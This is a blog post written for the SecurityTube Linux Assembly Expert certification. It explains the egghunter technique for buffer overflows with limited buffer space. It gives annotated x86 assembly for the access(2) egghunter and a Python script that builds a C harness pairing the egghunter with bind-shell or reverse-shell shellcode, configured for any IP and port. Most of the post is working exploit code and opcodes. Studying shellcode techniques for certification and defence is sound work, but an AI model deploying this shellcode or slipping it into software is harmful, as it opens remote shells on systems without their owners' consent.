SLAE – Assignment #3: Egghunter

Back to Posts

SLAE – Assignment #3: Egghunter

Reading Time: 5 minutes

Assignment #3: Egghunter

This time the assignment was very interesting, here the requirements: study an egg hunting shellcode and create a working demo, it should be configurable for different payloads.

As many before me, I’ve started my research journey with Skape’s papers: “Searching Process Virtual Address Space”. I was honestly amazed by the paper content, it’s not only very well written and explained but it ‘s mind-blowing. Understanding why and how egg hunter shellcode should be crafted in such tailored way was really impressing.

What is an egg/egg-hunter?

Sometimes, when dealing with buffer overflows, you will encounter limited buffer space that won’t let you pass in large shellcode. When, limited space is a constraint to the exploitation process, egg and egg-hunter could solve this problem. The first stage will be to deliver your main shellcode in the application’s memory (eg. Another input which isn’t vulnerable), this shellcode will have a know specific pattern at its very beginning (egg). At that point you can place the egg-hunter routine in the limited vulnerable buffer and when its code will be executed, it will take care of searching trough application’s memory in order to find the egg. Once the egg has been found, it will jump to it end continue the execution of your main shellcode.

It’s a crafting masterpiece but when it’s working it’s really awesome!

Implementations

Skape discussed three different Linux and Windows implementation, despite not being the most advanced nor the most compact version, I’ve opted for using the access(2) version as it’s probably the most robust implementation (there should be no conditions where it fail).

Access(2) version is 39 bytes long, has an egg size of 8 bytes and must have an executable egg due to the fact that our egg-hunting routine will directly jump into it (while the egg hunters could calculate an offset that is eight bytes past the start of the egg, this would add unnecessary overhead); it will also take 8 seconds to scan the entire memory space (0x0 . . . 0xbfffebd4).

Some words on the egg implementation itself:

egg length: it is best to use an eight-byte egg when doing the searching. The reason for this stems from the fact that the implementations for the egg hunting algorithms tend to have a four byte version of the key stored once in the searching code itself, thus it might be possible if one were to use a four byte version of the key to accidentally run into the egg hunter itself vice running into the expected buffer.

The reason the key repeats itself is because it allows the egg hunter to be more optimized for size in that it does not have to actually search for two unique keys, one right after the other, but instead can search for a single key that has the same four byte values, one right after the other. This eight-byte version of the key tends to allow for enough uniqueness that it can be easily selected without running any high risk of a collision.

Analyzing the Shellcode

As always, all the code in this article is also available on GitHub.

As high-level explanation we understand that the shellcode needs to perform the following steps:

  • Main shellcode is placed in application’s memory
  • Then the EGG is loaded in memory via a vulnerability
  • It will then crawl each memory page searching for the EGG value
  • If it receives an EFAULT (0xf2) error code, the page cannot be accessed and it can be assumed that all addresses inside the current page are invalid
  • If the page is valid, it will search the EGG value
  • If a match is found, it will check the next memory address, searching for the same value (main shellcode begins with the EGG repeated twice)
  • If two EGGS are found in sequence, it will directly jump into it and pass the execution to the Main shellcode

This time I’ve analyzed the shellcode directly in line with the assembly:

; Paolo Stagno aka [VoidSec](https://voidsec.com)
; SLAE-1511

global _start

section .text
_start:
  mov ebx, 0x50905090		; ebx is initialized to point the 4 byte version of the egg (executable)
  xor ecx, ecx			; ecx zeroed out
  mul ecx				; multiplied, causing eax and edx to become 0 (clever trick)
next_page:
  or dx, 0xfff			; page alignment on current pointer EDX 4095 (clever trick since 4096 is hex is 0x1000 and contains null chars. we firstly put 4095 into ECX and then increment it by 1 to get what we want.)
; The reason these two operations are separate is because they are entry points for different conditions. In case that an invalid memory address is returned from the access system call, the page alignment branch is taken because it can be assumed that all addresses inside the current page are invalid. In the event that a valid pointer is returned from the system call but the egg does not match with its contents, the page alignment portion is skipped and the pointer is simply incremented, thus trying the next valid address within the current page.
next_addr:
  inc edx				; incremnt EDX to 4096 (PAGE_SIZE)
  pushad				; push all general content registers into the stack (preserve them across system call. eg. eax used both as input/output for syscall)
  lea ebx, [edx+0x4]		; ebx will point to pathname pointer (addr being validated); addr +4 because allows eight bytes of contiguous memory to be validated in a single swoop
  mov al, 0x21			; low byte of eax set to 21, syscall number for access
  int 0x80			; syscall
  cmp al, 0xf2			; compare syscall return (top half eax) 0xf2 = EFAULT
  popad				; restore general pourpose values
  jz next_page			; if ZF flag is set, jmp to next page
  cmp [edx], ebx			; compare pointer with the value of the egg
  jnz next_addr			; if ZF is set (does not match), jump to increment (next addr in current page)
  cmp [edx+0x4], ebx		; if egg match this time perform same comparison against 2nd part of egg
  jnz next_addr			; if does not match jump to increment
  jmp edx				; 2nd egg match, EGG FOUND, jmp into pointer at EDX value

I’ve then built this simple python script allowing me to easily configure payload type, egg and other useful settings (port and IP address) according to the chosen payload.

# Paolo Stagno aka [VoidSec](https://voidsec.com)
# SLAE-1511
#!/usr/bin/env python

import sys;
if (len(sys.argv) != 5):
  print ("usage: " + sys.argv[0] + " ip port payload egg");
  sys.exit(-1)
else:	
  ip = sys.argv[1]
  hip = "\\x"+"\\x".join([hex(int(x)+256)[3:] for x in ip.split('.')])
  port = int(sys.argv[2])
  if port < 0 or port > 65535:
    print "[!] Invalid TCP port number {}, must be between 0-65535".format(port)
    sys.exit(-1)
  
# convert to hex and strip 0x
hport=hex(port).strip("0x")
# add an \\x every 2 chars
hport="\\x"+"\\x".join(a+b for a,b in zip(hport[::2],hport[1::2]))

payload=sys.argv[3]
egg=sys.argv[4]
eggx2=egg*2

if payload=="bind":
    shellcode= "\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x5b\\x5e\\x52\\x68\\x02\\x00{}\\x6a\\x10\\x51\\x50\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x43\\xb0\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80".format(hport)
else:
    shellcode="\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x93\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68{}\\x68\\x02\\x00{}\\x89\\xe1\\xb0\\x66\\x50\\x51\\x53\\xb3\\x03\\x89\\xe1\\xcd\\x80\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80".format(hip,hport)

print "{} TCP shellcode connecting to {}:{}".format(payload,ip,port)
# print "\n"+shellcode

c_code=r"""
#include <stdio.h>
#include <string.h>

unsigned char egghunter[] = \
"\xbb{}\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";

unsigned char egg[] = \
"{}" // egg signature (\x90\x50\x90\x50\x90\x50\x90\x50)
"{}";

void main()
{{
    printf("Egg hunter length: %d\n", strlen(egghunter));
    printf("Shellcode length: %d (%d + 4 byte egg)\n", strlen(egg), strlen(egg)-4);
    int (*ret)() = (int(*)())egghunter;
    ret();
}}
""".format(egg,eggx2,shellcode)

f = open("egg_shellcode.c", "w")
f.write(c_code)
f.close()
print("Compile it with: gcc -m32 -fno-stack-protector -z execstack egg_shellcode.c -o egg_shellcode")

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1511

Share this post

Back to Posts